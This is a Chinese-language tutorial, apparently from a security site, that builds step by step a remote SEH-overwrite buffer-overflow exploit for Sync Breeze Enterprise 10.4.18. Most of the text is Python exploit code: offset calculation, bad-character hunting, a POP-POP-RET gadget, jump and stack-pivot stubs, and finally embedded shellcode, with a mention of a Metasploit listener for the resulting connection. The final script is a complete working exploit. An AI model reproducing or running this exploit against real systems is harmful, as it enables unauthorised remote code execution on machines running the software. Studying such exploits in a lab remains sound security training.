sync breeze远程缓冲区SEH覆盖代码执行
原始验证代码
#!/usr/bin/python import socket import sys from struct import pack try: server = sys.argv[1] port = 9121 size = 1000 inputBuffer = b"" inputBuffer += b"x41" * size header = b"x75x19xbaxab" header += b"x03x00x00x00" header += b"x00x40x00x00" header += pack('<I', len(inputBuffer)) header += pack('<I', len(inputBuffer)) header += pack('<I', inputBuffer[-1]) buf = header + inputBuffer print("Sending evil buffer...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((server, port)) s.send(buf) s.close() except: pass print("Done!") |
漏洞程序下载地址:https://www.exploit-db.com/apps/d478c84dbae5323f2be53f9007b21f24-syncbreezeent_setup_v10.4.18.exe
2. 漏洞基本分析
应用程序在接收到1000个A后程序崩溃,但如果需要完成缓冲区溢出到代码执行还有很长的路要走。
3. 控制EIP指令指针
既然已经能够确认存在缓冲区溢出,那么现在就要确定程序接收到多少字节后程序会崩溃,然后又有多少的余量用于控制指令指针 EIP 和其他的寄存器从而达到远程缓冲区溢出代码执行的目的,首先根据PoC的内容,生成1000个有序字符。
msf-pattern_create -l 1000 |
修改PoC文件,将字符串替换”x41”然后发送,修改后的代码如下:
#!/usr/bin/python import socket import sys from struct import pack try: server = sys.argv[1] port = 9121 size = 1000 inputBuffer = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B" inputBuffer += b"x41" * size header = b"x75x19xbaxab" header += b"x03x00x00x00" header += b"x00x40x00x00" header += pack('<I', len(inputBuffer)) header += pack('<I', len(inputBuffer)) header += pack('<I', inputBuffer[-1]) buf = header + inputBuffer print("Sending evil buffer...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((server, port)) s.send(buf) s.close() except: pass print("Done!") |
虚拟机中似乎并没有发生什么崩溃的东西,如下图:
按下G并回车使程序继续运行似乎并没有发现什么特别的东西,但是可以看到,windbg的右侧布局中EIP地址和命令窗口中的EIP地址已经被覆盖。
4. 计算偏移量
msf-pattern_offset -l 1000 -q 33654132 |
得到的结果是128,但并不是很准确的结果,所以还需要进一步的深入查看
5. 构造exception_handle
在windbg中查看可以确认,再发送了128个字节后,程序的SEH指针被覆盖,那么根据对SEH漏洞的利用想法是利用PPR即 pop 寄存器; pop 寄存器; ret ; 返回后执行next 代码,那么偏移量128需要减去4 用于执行代码,修改代码进行验证。
#!/usr/bin/python import socket import sys from struct import pack try: server = sys.argv[1] port = 9121 size = 1000 inputBuffer = b"" inputBuffer += b"x41" * 124 inputBuffer += b"x42" * 4 inputBuffer += b"x43" * 4 inputBuffer += b"x44" * (size-len(inputBuffer)) header = b"x75x19xbaxab" header += b"x03x00x00x00" header += b"x00x40x00x00" header += pack('<I', len(inputBuffer)) header += pack('<I', len(inputBuffer)) header += pack('<I', inputBuffer[-1]) buf = header + inputBuffer print("Sending evil buffer...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((server, port)) s.send(buf) s.close() except: pass print("Done!") |
利用代码中的”x43”来覆盖当前seh的指针,利用”x42”来覆盖next seh的指针,然后继续执行后续的代码,重启程序并使用windbg附加后发送数据包。
上图中, 对崩溃地址-4 并显示5条汇编代码,可见崩溃点位于43434343,而下一条处理异常的seh地在被42424242覆盖,条件满足,可以进行攻击,现在搜索pop pop ret 来组合代码。
首先使用mona的modules功能来检查程序所加载的模块那些是没有safeseh保护的,如下图
高亮的内容都是可用的,但是需要避免出现坏字符串所以,可用的dll文件是libspp.dll。
查找可用到可用的内存地址,如下图:
6. 查找坏字符串
但现在还没有进行坏字符串的查找,并不能确定那些字符不可以出现,所以生成坏字符窜。
sudo pip3 install badchars badchars -f python | sed s'/"\x/b"\x/g' ┌──(kali㉿EvilHost)-[~] └─$ badchars -f python | sed s'/"\x/b"\x/g' badchars = ( b"x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10" b"x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20" b"x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30" b"x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40" b"x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50" b"x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60" b"x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70" b"x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80" b"x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90" b"x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0" b"xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0" b"xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0" b"xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0" b"xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0" b"xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0" b"xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff" ) ┌──(kali㉿EvilHost)-[~] └─$ |
修改代码,
#!/usr/bin/python import socket import sys from struct import pack try: server = sys.argv[1] port = 9121 size = 1000 badchars = ( b"x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10" b"x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20" b"x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30" b"x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40" b"x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50" b"x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60" b"x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70" b"x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80" b"x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90" b"x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0" b"xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0" b"xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0" b"xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0" b"xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0" b"xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0" b"xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff" ) inputBuffer = b"" inputBuffer += b"x41" * 124 inputBuffer += b"x42" * 4 inputBuffer += b"x43" * 4 inputBuffer += badchars inputBuffer += b"x44" * (size-len(inputBuffer)) header = b"x75x19xbaxab" header += b"x03x00x00x00" header += b"x00x40x00x00" header += pack('<I', len(inputBuffer)) header += pack('<I', len(inputBuffer)) header += pack('<I', inputBuffer[-1]) buf = header + inputBuffer print("Sending evil buffer...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((server, port)) s.send(buf) s.close() except: pass print("Done!") |
数据包发送后,查看seh的崩溃点发现01之后全都是00,证明x02是坏字符窜
排除x02后重新发送数据包,修改后,重新发送后发现09后面出现异常
x0a为坏字符串,排除后重新发送数据包
0c后出现00,x0d为坏字符串,排除后重新发送数据包
7. 堆栈大小限制
在检查后发现,坏字符串到83后面就没有了,仔细检查后发现并非是84坏字符窜,存储空间大小问题导致的,将83前的代码用于测试的字符串全都注释掉,然后再次发送数据包。
从x84到xff都在,那么表示没有什么问题,只是存储的空间有些小而已,现在来调试崩溃区域的继续执行
既然坏字符串已经找到了,现在在pop pop ret的地址中不能出现坏字符串,那么去log找
8. 构造PPR
上方变色部分的都存在x02,所以不可用,就用0x10030499 这个好了。
将x43 *4 修改为这个地址
#!/usr/bin/python import socket import sys from struct import pack try: server = sys.argv[1] port = 9121 size = 1000 # x00x02x0ax0d inputBuffer = b"" inputBuffer += b"x41" * 124 inputBuffer += b"x42" * 4 inputBuffer += pack("<L",0x10030499) # pop edi # pop esi # ret 0x04 # 以 Little Endian 的方式写出0x10030499 即 反写 inputBuffer += b"x44" * (size-len(inputBuffer)) header = b"x75x19xbaxab" header += b"x03x00x00x00" header += b"x00x40x00x00" header += pack('<I', len(inputBuffer)) header += pack('<I', len(inputBuffer)) header += pack('<I', inputBuffer[-1]) buf = header + inputBuffer print("Sending evil buffer...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((server, port)) s.send(buf) s.close() except: pass print("Done!") |
在windbg中使用命令 bp 0x10030499 在此地址打断点后输入命令g 让程序继续运行然后发送数据包
右侧寄存器方向,EIP指令指针只想pop edi ,代码确认没有问题,按t单步执行。过了ret命令后可见程序代码为42424242
9. 4字节困兽之斗
那么接下来这4个B的利用方式肯定是有限的,与其让他在四个字节中做困兽之斗不如跳转出去,直接跳转到D,
从007ff44跳转到007eff4c,使用windbg进行代码替换分析
在替换代码后得知,eb06可跳转,但是通过左侧命令窗口中得知, 汇编后的代码是4242eb06,那么,使用42是无法正常执行的,采用x90空命令来替换42,代码如下
#!/usr/bin/python import socket import sys from struct import pack try: server = sys.argv[1] port = 9121 size = 1000 # x00x02x0ax0d inputBuffer = b"" inputBuffer += b"x41" * 124 inputBuffer += pack("<L",0x06eb9090) # 跳转到 DDDDDDDD inputBuffer += pack("<L",0x10030499) # pop edi # pop esi # ret 0x04 以 Little Endian 的方式写出0x10030499 即 反写 inputBuffer += b"x44" * (size-len(inputBuffer)) header = b"x75x19xbaxab" header += b"x03x00x00x00" header += b"x00x40x00x00" header += pack('<I', len(inputBuffer)) header += pack('<I', len(inputBuffer)) header += pack('<I', inputBuffer[-1]) buf = header + inputBuffer print("Sending evil buffer...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((server, port)) s.send(buf) s.close() except: pass print("Done!") |
重启服务后windbg附加到程序,但后继续在ppr处打断点,然后发送数据包,如下图
代码成功执行,因之前查找坏字符串时,代码到了x83则被截断,确认是空间不足导致的,那么计算以下当前的EIP所有容量
10. 找到字符串
从跳转过来的后的反汇编代码地址到最后的代码地址,只有120个字节,压根不够放置shellcode
那么现在剩余的去了那里? 更改代码,让代码更具有唯一性
#!/usr/bin/python import socket import sys from struct import pack try: server = sys.argv[1] port = 9121 size = 1000 # x00x02x0ax0d inputBuffer = b"" shellcode = b"x90" * 4 shellcode += b"x43" * 396 inputBuffer += b"x41" * 124 inputBuffer += pack("<L",0x06eb9090) # 跳转到 DDDDDDDD inputBuffer += pack("<L",0x10030499) # pop edi # pop esi # ret 0x04 以 Little Endian 的方式写出0x10030499 即 反写 inputBuffer += b"x90" * (size-len(inputBuffer)-len(shellcode)) inputBuffer += shellcode header = b"x75x19xbaxab" header += b"x03x00x00x00" header += b"x00x40x00x00" header += pack('<I', len(inputBuffer)) header += pack('<I', len(inputBuffer)) header += pack('<I', inputBuffer[-1]) buf = header + inputBuffer print("Sending evil buffer...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((server, port)) s.send(buf) s.close() except: pass print("Done!") |
此时的想法是,内存中只会有一处 90 90 90 90 43 43 43 43这样的内存地址。重启程序后,windbg附加程序,继续打ppr断点,然后运行程序并发包。
程序跳转到了nop处,已知seh崩溃后被覆盖,可通过搜索SEH的起至地址,如下图
对比stackbase 和 stacklimit 的地址,当前程序的指令指针就在堆栈中,搜索
s -b 018be000(stacklimit ) 018c0000(stackbase ) 90 90 90 90 43 43 43 43 43 43
11. 修改指针地址
既然在栈里,那么栈顶指针ESP指向这里,然后JMP跳转到此处即可,计算ESP地址和搜索到的地址的差距
反汇编中让esp栈顶指针的值增加 814 即可。
12. 高低位寄存器
存在坏字符串00,这是不可以的,32位寄存器不能操作,那么就去16位寄存器操作。
修改代码
#!/usr/bin/python import socket import sys from struct import pack try: server = sys.argv[1] port = 9121 size = 1000 # x00x02x0ax0d inputBuffer = b"" shellcode = b"x90" * 4 shellcode += b"x43" * 396 inputBuffer += b"x41" * 124 inputBuffer += pack("<L",0x06eb9090) # 跳转到 DDDDDDDD inputBuffer += pack("<L",0x10030499) # pop edi # pop esi # ret 0x04 以 Little Endian 的方式写出0x10030499 即 反写 inputBuffer += b"x90" * 4# 连续的命令有些多,并且长短不一,防止代码出现干扰增加nop填充 inputBuffer += b"x66x81xC4x14x08"# esp地址 增加 814 inputBuffer += b"xffxe4"# 让指令指针EIP 跳转到 esp inputBuffer += b"x90" * (size-len(inputBuffer)-len(shellcode)) inputBuffer += shellcode header = b"x75x19xbaxab" header += b"x03x00x00x00" header += b"x00x40x00x00" header += pack('<I', len(inputBuffer)) header += pack('<I', len(inputBuffer)) header += pack('<I', inputBuffer[-1]) buf = header + inputBuffer print("Sending evil buffer...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((server, port)) s.send(buf) s.close() except: pass print("Done!") |
重启服务并用windbg附加然后继续ppr断点然后发送数据包
t单步执行几次后检查代码,如下图
确认ESP栈顶指针已经完成了修改,在jmp esp处 t 进行跳转
大小似乎是够了,计算后得知 可以存放396个字节,生成shellcode
生成的shellcode大小是381字节,如下图
启动msf监听
13. 变通之后
将生成的shellcode放到代码中,
#!/usr/bin/python import socket import sys from struct import pack try: server = sys.argv[1] port = 9121 size = 1000 # x00x02x0ax0d inputBuffer = b"" shellcode = b"x90" * 4 shellcode += b"xdbxc5xb8x14x91x06xbaxd9x74x24xf4x5a" shellcode += b"x33xc9xb1x59x83xeaxfcx31x42x15x03x42" shellcode += b"x15xf6x64xfax52x79x86x03xa3xe5xb6xd1" shellcode += b"xc7x6exeaxe5x8cx22x07x8fx76x49x45x9b" shellcode += b"x77xfax20x85x0cx76x9dxf8xedx47x1dx56" shellcode += b"x2dxc6xe1xa5x62x28xdbx65x77x29x1cx30" shellcode += b"xfdxc6xf0x94x76x4axe5x91xcbx56x04x76" shellcode += b"x40xe6x7exf3x97x92x32xfaxc7xd1x93xdc" shellcode += b"x6cxadx3bx1cxa0x7dxb9xd7x32x41xf0x18" shellcode += b"xf3x32xc6x6dx05x92x16xb2xaaxdbx96x3f" shellcode += b"xb2x1cx10xa0xc1x56x62x5dxd2xadx18xb9" shellcode += b"x57x31xbax4axcfx95x3ax9ex96x5ex30x6b" shellcode += b"xdcx38x55x6ax31x33x61xe7xb4x93xe3xb3" shellcode += b"x92x37xafx60xbax6ex15xc6xc3x70xf1xb7" shellcode += b"x61xfbx10xa1x16x04xebxcex4ax92x27x03" shellcode += b"x75x62x20x14x06x50xefx8ex80xd8x78x09" shellcode += b"x56x69x6exaax88xd1xffx54x29x21x29x93" shellcode += b"x7dx71x41x32xfex1ax91xbbx2bxb6x9bx2b" shellcode += b"x14xeexd7xb2xfcxecxe7xd5xa0x79x01x85" shellcode += b"x08x29x9ex66xf9x89x4ex0fx13x06xb0x2f" shellcode += b"x1cxcdxd9xdaxf3xbbxb2x72x6dxe6x49xe2" shellcode += b"x72x3dx34x24xf8xb7xc8xebx09xb2xdax1c" shellcode += b"x6ex3cx23xddx1bx3cx49xd9x8dx6bxe5xe3" shellcode += b"xe8x5bxaax1cxdfxd8xadxe3x9exe8xc6xd2" shellcode += b"x34x54xb1x1axd9x54x41x4dxb3x54x29x29" shellcode += b"xe7x07x4cx36x32x34xddxa3xbdx6cxb1x64" shellcode += b"xd6x92xecx43x79x6dxdbxd7x7ex91x99xff" shellcode += b"x26xf9x61x40xd7xf9x0bx40x87x91xc0x6f" shellcode += b"x28x51x28xbax61xf9xa3x2bxc3x98xb4x61" shellcode += b"x85x04xb4x86x1exb7xcfxe7xa1x38x30xee" shellcode += b"xc5x39x30x0exf8x06xe6x37x8ex49x3ax0c" shellcode += b"x81xfcx1fx25x08xfex0cx35x19" shellcode += b"x43" * (400-len(shellcode)) # 补全shellcode长度总数为 400 inputBuffer += b"x41" * 124 inputBuffer += pack("<L",0x06eb9090) # 跳转到 DDDDDDDD inputBuffer += pack("<L",0x10030499) # pop edi # pop esi # ret 0x04 以 Little Endian 的方式写出0x10030499 即 反写 inputBuffer += b"x90" * 4# 连续的命令有些多,并且长短不一,防止代码出现干扰增加nop填充 inputBuffer += b"x66x81xC4x14x08"# esp地址 增加 814 inputBuffer += b"xffxe4"# 让指令指针EIP 跳转到 esp inputBuffer += b"x90" * (size-len(inputBuffer)-len(shellcode)) inputBuffer += shellcode header = b"x75x19xbaxab" header += b"x03x00x00x00" header += b"x00x40x00x00" header += pack('<I', len(inputBuffer)) header += pack('<I', len(inputBuffer)) header += pack('<I', inputBuffer[-1]) buf = header + inputBuffer print("Sending evil buffer...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((server, port)) s.send(buf) s.close() except: pass print("Done!") |
重启服务并使用windbg附加后ppr断点在发送数据包。
x90 * 4 然后是shellcode的 xdbxc5xb8x14x91x06xbaxd9x74x24xf4x5a
14. 再次变通
按g 让他运行 但是程序并没有执行成功,
将x90增加到8个后成功执行shellcode
最终代码
#!/usr/bin/python import socket import sys from struct import pack try: server = sys.argv[1] port = 9121 size = 1000 # x00x02x0ax0d inputBuffer = b"" shellcode = b"x90" * 8 shellcode += b"xdbxc5xb8x14x91x06xbaxd9x74x24xf4x5a" shellcode += b"x33xc9xb1x59x83xeaxfcx31x42x15x03x42" shellcode += b"x15xf6x64xfax52x79x86x03xa3xe5xb6xd1" shellcode += b"xc7x6exeaxe5x8cx22x07x8fx76x49x45x9b" shellcode += b"x77xfax20x85x0cx76x9dxf8xedx47x1dx56" shellcode += b"x2dxc6xe1xa5x62x28xdbx65x77x29x1cx30" shellcode += b"xfdxc6xf0x94x76x4axe5x91xcbx56x04x76" shellcode += b"x40xe6x7exf3x97x92x32xfaxc7xd1x93xdc" shellcode += b"x6cxadx3bx1cxa0x7dxb9xd7x32x41xf0x18" shellcode += b"xf3x32xc6x6dx05x92x16xb2xaaxdbx96x3f" shellcode += b"xb2x1cx10xa0xc1x56x62x5dxd2xadx18xb9" shellcode += b"x57x31xbax4axcfx95x3ax9ex96x5ex30x6b" shellcode += b"xdcx38x55x6ax31x33x61xe7xb4x93xe3xb3" shellcode += b"x92x37xafx60xbax6ex15xc6xc3x70xf1xb7" shellcode += b"x61xfbx10xa1x16x04xebxcex4ax92x27x03" shellcode += b"x75x62x20x14x06x50xefx8ex80xd8x78x09" shellcode += b"x56x69x6exaax88xd1xffx54x29x21x29x93" shellcode += b"x7dx71x41x32xfex1ax91xbbx2bxb6x9bx2b" shellcode += b"x14xeexd7xb2xfcxecxe7xd5xa0x79x01x85" shellcode += b"x08x29x9ex66xf9x89x4ex0fx13x06xb0x2f" shellcode += b"x1cxcdxd9xdaxf3xbbxb2x72x6dxe6x49xe2" shellcode += b"x72x3dx34x24xf8xb7xc8xebx09xb2xdax1c" shellcode += b"x6ex3cx23xddx1bx3cx49xd9x8dx6bxe5xe3" shellcode += b"xe8x5bxaax1cxdfxd8xadxe3x9exe8xc6xd2" shellcode += b"x34x54xb1x1axd9x54x41x4dxb3x54x29x29" shellcode += b"xe7x07x4cx36x32x34xddxa3xbdx6cxb1x64" shellcode += b"xd6x92xecx43x79x6dxdbxd7x7ex91x99xff" shellcode += b"x26xf9x61x40xd7xf9x0bx40x87x91xc0x6f" shellcode += b"x28x51x28xbax61xf9xa3x2bxc3x98xb4x61" shellcode += b"x85x04xb4x86x1exb7xcfxe7xa1x38x30xee" shellcode += b"xc5x39x30x0exf8x06xe6x37x8ex49x3ax0c" shellcode += b"x81xfcx1fx25x08xfex0cx35x19" shellcode += b"x43" * (400-len(shellcode)) # 补全shellcode长度总数为 400 inputBuffer += b"x41" * 124 inputBuffer += pack("<L",0x06eb9090) # 跳转到 DDDDDDDD inputBuffer += pack("<L",0x10030499) # pop edi # pop esi # ret 0x04 以 Little Endian 的方式写出0x10030499 即 反写 inputBuffer += b"x90" * 4# 连续的命令有些多,并且长短不一,防止代码出现干扰增加nop填充 inputBuffer += b"x66x81xC4x14x08"# esp地址 增加 814 inputBuffer += b"xffxe4"# 让指令指针EIP 跳转到 esp inputBuffer += b"x90" * (size-len(inputBuffer)-len(shellcode)) inputBuffer += shellcode header = b"x75x19xbaxab" header += b"x03x00x00x00" header += b"x00x40x00x00" header += pack('<I', len(inputBuffer)) header += pack('<I', len(inputBuffer)) header += pack('<I', inputBuffer[-1]) buf = header + inputBuffer print("Sending evil buffer...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((server, port)) s.send(buf) s.close() except: pass print("Done!") |
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...